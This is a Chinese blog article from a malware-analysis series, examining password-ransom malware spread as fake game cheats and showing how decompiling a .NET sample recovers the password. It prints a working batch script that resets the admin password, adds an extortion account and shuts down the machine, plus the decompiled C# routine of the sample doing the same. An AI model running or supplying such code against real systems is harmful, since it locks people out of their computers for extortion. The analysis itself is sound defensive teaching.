病毒木马查杀第013篇:一个基于.NET的“敲竹杠”病毒研究

一、前言

恶意程序发展至今,其功能已经从最初的单纯破坏,不断发展为隐私的窥探,信息的盗取,乃至如今非常流行的“敲竹杠”病毒,用于勒索。可见随着时代的发展,病毒的作者们往往也是想利用自己的技术来获取不义之财,变得越来越功利化了。而本系列文章也顺应了这个发展,从病毒讨论到木马,进而来到了“敲竹杠”病毒的讨论上来。

二、什么是“敲竹杠”病毒

其实“敲竹杠”病毒的行为很简单,它就是篡改我们的计算机的开机密码,然后病毒作者留下个人的联系方式,让受害的用户去联系他,花钱消灾。“敲竹杠”主要通过QQ群和邮件进行传播,经常会伪装成类似于“CF免费刷枪无毒软件”(如这次研究的CF.exe),“免费刷Q币”等极具诱惑性的名称,一旦用户点击运行,系统登陆密码就会被篡改。而普通用户遇到这种情况,往往无能为力,加上“勒索”钱财的数额一般并不大,所以花钱买密码的人也不在少数。由于这种病毒并不需要编写者具备很高深的技术水平,从而也就助长了“敲竹杠”的盛行。这里举一个最简单的“敲竹杠”代码的例子,它是一个批处理(.bat)文件:

@echo off
net user 姜晔 wojiushimima
net user 要密码加QQ123456789 wojiushimima /add
shutdown.exe -s -t 10

这里简单讲解一下上述代码。代码第二行的意思是将名为“姜晔”的账户密码修改为“wojiushimima”(我就是密码)。注意,在我的系统中,账户“姜晔”就是管理员账户,而大多数情况下,系统默认的管理员账户名称为“Administrator”,所以具体情况要具体分析。在此也呼吁大家不要将“Administrator”作为管理员账户名,免得被恶意程序所利用。代码第三行的意思是创建名为“要密码加QQ123456789”的账户,其密码也是“wojiushimima”。代码第四行的意思是在10秒后关闭计算机。运行上述代码,如图所示:

图1 运行“敲竹杠”病毒

程序运行10秒后,自动关机,再开机,如下图所示:

图2

可见,这里出现了两个账户,一个是原始账户,不过密码已经被修改了。另一个账户是病毒作者的联系方式,该账户的密码我们也是不知道的。至此,普通的计算机用户为了能够正常使用自己的电脑,也就只有去联系病毒作者,去买密码了。

三、什么是.NET

既然本文讨论的是一款基于.NET的“敲竹杠”,那么有必要在这里简单讨论一下什么是.NET。

其实.NET是微软设计的独立于操作系统之上的平台,可以将它看成是一套虚拟机,无论机器运行的是什么操作系统,只要该系统安装了.NET框架,便可以运行.NET可执行程序,享受基于.NET的各类服务。上面这句话是从用户角度出发的观点,如果从Windows系统的角度来理解,.NET就是一系列运行于Ring3层的DLL文件。

可能这么说依旧比较抽象,有兴趣的读者可以查询相关书籍进行进一步的学习研究。我个人觉得我们没必要过于在意这个定义,作为病毒分析人员,更重要的是掌握.NET平台的逆向分析方法。

.NET有一个特点,那就是无论程序是用C#,还是C++,或是VB编写,最终都被编译为.NET的中间语言IL。而静态分析.NET程序,就是用反编译工具将程序的指令字节反编译成IL指令或高级语言,通过阅读反编译代码掌握程序的流程与功能。由于.NET下的可执行文件同时保存有元数据与IL代码,其静态反编译出的代码具有极强的可读性,几乎等同于源代码。

.NET平台的反编译工具最为常用的是ildasm与Reflector。这里我打算选用后者进行分析。该软件目前已经变为收费版,大家可以在http://www.red-gate.com/products/dotnet-development/reflector/下载14天的全功能试用版。

四、“敲竹杠”病毒分析

这次的病毒样本名为“CF.exe”,从名称就可以看出它应该是和游戏“穿越火线”相关,伪装成是游戏的辅助类程序,实际上就是“敲竹杠”。但是它的特别之处就在于开创性地采用了.NET框架,瞬间显得与众不同起来。为什么我知道它采用了.NET框架呢?这是PEiD的功劳:

图3

那么接下来就使用Reflector来载入这个病毒样本。由于经过Reflector的分析生成的代码就如同源代码,所以很容易就能够找到恶意程序的核心位置:

图4

该函数的完整代码如下:

private void timer1_Tick(object sender, EventArgs e)
{
    this.j++;
    if (this.j <= 3)
    {
        this.label4.Text = "正在扫描CF网络漏洞\x00b7\x00b7\x00b7";
        this.progressBar1.Value = this.j;
    }
    else if ((this.j <= 5) && (this.j > 3))
    {
        this.label4.Text = "正在监测CF模块SX动作\x00b7\x00b7";
        this.progressBar1.Value = this.j;
    }
    else if ((this.j < 10) && (this.j > 5))
    {
        this.label4.Text = "避开SX加载辅助模块\x00b7\x00b7\x00b7";
        this.progressBar1.Value = this.j;
    }
    else if (this.j == 10)
    {
        this.label4.Text = "模块加载成功启动中\x00b7\x00b7\x00b7";
        this.progressBar1.Value = this.j;
        ResetUserPassword(Environment.UserName, "razggcd");
        MessageBox.Show("反外挂联盟提示您:绿色游戏健康生活 共同创建公平的竞技平台 !为了您的计算机安全 请向QQ:1460459195 充值30QB并添加好友索要密码 ! 谢谢配合 !", "提示信息", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
        CreateNTUser("加Q1460459195", "razggcd", "");
        LockWorkStation();
    }
}

很明显,程序通过计数器的不断增加,从而显示不同的文字,这也就给用户造成了一种假象,以为游戏辅助已经生效,似乎正在运行一样。而当计数器自增到10的时候,就会执行最后一个if语句。该语句中的ResetUserPassword用于将用户密码修改为“razggcd”,之后显示一段信息,让用户与病毒作者联系,以获取密码,实现“敲竹杠”。接下来创建名为“加Q1460459195”,密码为“razggcd”的用户。最后锁定工作站保护其免受未经授权者使用。这一整套流程,与我之前讨论的批处理版的“敲竹杠”大同小异。可见,虽说本病毒改变了外在的形式,但是其内部机理还是没有变化的。

通过上述分析,我们已经获取了密码,那么也就大功告成了。

五、小结

相比较于之前所分析的病毒木马,“敲竹杠”的分析其实还是非常简单的。特别是这种基于.NET的程序,反编译出来的程序就可以等同于源程序,比汇编代码容易理解多了。由于现在“敲竹杠”是主流,所以我以后会选取一些比较有代表性的“敲竹杠”进行研究。希望大家能够提高防范意识,让这些程序的编写者们无机可乘。

时间: 2024-10-16 03:37:18

病毒木马查杀第013篇:一个基于.NET的“敲竹杠”病毒研究的相关文章

病毒木马查杀第011篇:QQ盗号木马之专杀工具的编写

一.前言 由于我已经在<病毒木马查杀第004篇:熊猫烧香之专杀工具的编写>中编写了一个比较通用的专杀工具的框架,而这个框架对于本病毒来说,经过简单修改也是基本适用的,所以本文就不讨论那些重叠的知识,只针对这个病毒特有的方面来讨论专杀工具的编写,然后将其进行组合,就是完整的针对于本病毒的专杀工具了. 二.原理讨论 对于本病毒而言,其最大的特色就在于使用了进程守护技术.病毒运行后,同时有三个病毒进程存在,关闭其中的任何一个,由于还有两个病毒进程的存在,那么被关闭的又会被重新开启.要解决这个问题,不

病毒木马查杀第009篇:QQ盗号木马之手动查杀

一.前言 之前在<病毒木马查杀第002篇:熊猫烧香之手动查杀>中,我在不借助任何工具的情况下,基本实现了对于"熊猫烧香"病毒的查杀.但是毕竟"熊猫烧香"是一款比较简单的病毒,它并没有采取一些特别强的自我保护技术,所以我们完全可以"徒手"解决.但是这次研究的恶意程序就没那么简单,它采取了进程保护的技术,使得我们不能够使用常规手法对其实现查杀.所以这次我引入了两个工具--icesword与autoruns,以达到查杀的目的. 二.病毒的基

病毒木马查杀第008篇:熊猫烧香之病毒查杀总结

一.前言 之前用了六篇文章的篇幅,分别从手动查杀.行为分析.专杀工具的编写以及逆向分析等方面,对"熊猫烧香"病毒的查杀方式做了讨论.相信大家已经从中获取了自己想要的知识,希望大家在阅读完这几篇文章后,能够有一种"病毒也不过如此"的感觉,更希望这些文章能够为有志于在未来参与到反病毒工作的朋友,打下坚实的理论基础.以下就是我在这几篇文章的分析中所总结出来的一些知识点,分为静态分析与动态分析两个方面进行讨论,并加入了一些延伸知识,为大家查漏补缺. 二.病毒的静态分析 静态

病毒木马查杀第002篇:熊猫烧香之手动查杀

一.前言 作为本系列研究的开始,我选择"熊猫烧香"这个病毒为研究对象.之所以选择这一款病毒,主要是因为它具有一定的代表性.一方面它当时造成了极大的影响,使得无论是不是计算机从业人员,都对其有所耳闻:另一方面是因为这款病毒并没有多高深的技术,即便是在当时来讲,其所采用的技术手段也是很一般的,利用我们目前掌握的知识,足够将其剖析.因此,我相信从这个病毒入手,会让从前没有接触过病毒研究的读者打消对病毒的恐惧心理,在整个学习的过程中开个好头. 本篇文章先研究如何对"熊猫烧香"

病毒木马查杀第004篇:熊猫烧香之专杀工具的编写

一.前言 如果是非感染型的病毒,完成行为分析之后,就可以开始编写专杀工具了.当然对于我们这次研究的对象--"熊猫烧香"来说,其实通过之前的行为分析,我们并没有得出它的所有恶意行为,毕竟还没有对其进行逆向分析.所以这里仅针对我们上一篇文章所得出的结果,来进行专杀工具的编写.一般来说,专杀工具既可以用批处理实现,又可以用编程语言编写,但是现实中更多的还是用后者进行制作的,因为其更加严谨.灵活.因此我这里会使用C++来写一个简单的"熊猫烧香"专杀程序. 二.病毒行为回顾与

病毒木马查杀第012篇:QQ盗号木马之逆向分析

一.前言 在本系列的文章中,对每一个病毒分析的最后一个部分,若无特殊情况,我都会采用逆向分析的手段来为读者彻底剖析目标病毒.但是之前的"熊猫烧香"病毒,我用了三篇文章的篇幅(每篇2500字左右)也仅仅分析了病毒的三分之一,而且还没分析到病毒的核心部分.主要也是因为那是我这个系列为大家分析的第一个病毒,为了将一些原理性的东西说清楚,所以文章略显冗长,也主要是照顾一下初学的朋友,摒弃那些高大上的东西,将我的实际分析过程完整地呈现出来.相信大家在认真阅读完那三篇文章后,都能够掌握基本的分析方

病毒木马查杀第006篇:熊猫烧香之逆向分析(中)

一.前言 上一篇文章讲解了"熊猫烧香"病毒样本的反汇编代码入口处的分析,虽然尚未研究到病毒的核心部分,但其实我们后续的分析与之前的思想是一致的.而越到核心部分,可能会遇到越来越多的API函数,结合所调用函数的参数进行分析,反而有助于我们更容易地理解病毒的行为.应当将分析出的每一个CALL函数,改为我们能够理解的名字,这往往也有助于对后续程序的理解. 二.病毒功能分析 上一篇文章的最后,我留下了三个CALL没有分析,现在进入第一个CALL,即sub_408024的内部查看一下: 图1 s

病毒木马查杀第005篇:熊猫烧香之逆向分析(上)

一.前言 对病毒进行逆向分析,可以彻底弄清楚病毒的行为,从而采取更有效的针对手段.为了节省篇幅,在这里我不打算将"熊猫烧香"进行彻底的分析,只会讲解一些比较重要的部分,大家只要掌握了这些思想,那么就可以处理很多的恶意程序了.一般来说,对病毒的静态分析,我们采用的工具是IDA Pro,动态分析则采用OllyDbg.由于后者会使病毒实际运行起来,所以为了安全起见,最好在虚拟机中操作.另外,在实际分析过程中,我们可能还需要一些辅助工具,比如侦壳或脱壳程序等.为了简单起见,这次研究的"

病毒木马查杀第007篇:熊猫烧香之逆向分析(下)

一.前言 这次我们会接着上一篇的内容继续对病毒进行分析.分析中会遇到一些不一样的情况,毕竟之前的代码我们只要按照流程顺序一步一步往下走,就能够弄清楚病毒的行为,但是在接下来的代码中,如果依旧如此,在某些分支中的重要代码就执行不到了,所以我们需要采取一些策略,走完每个分支,彻底分析出病毒的行为. 二.病毒分析 现在程序执行到了loc_408171位置处: 图1 loc_408171起始处的代码 程序首先进行比较操作,由于二者都为0,所以在比较过后ZF=1,那么接下来的跳转并不执行.之后的CALL获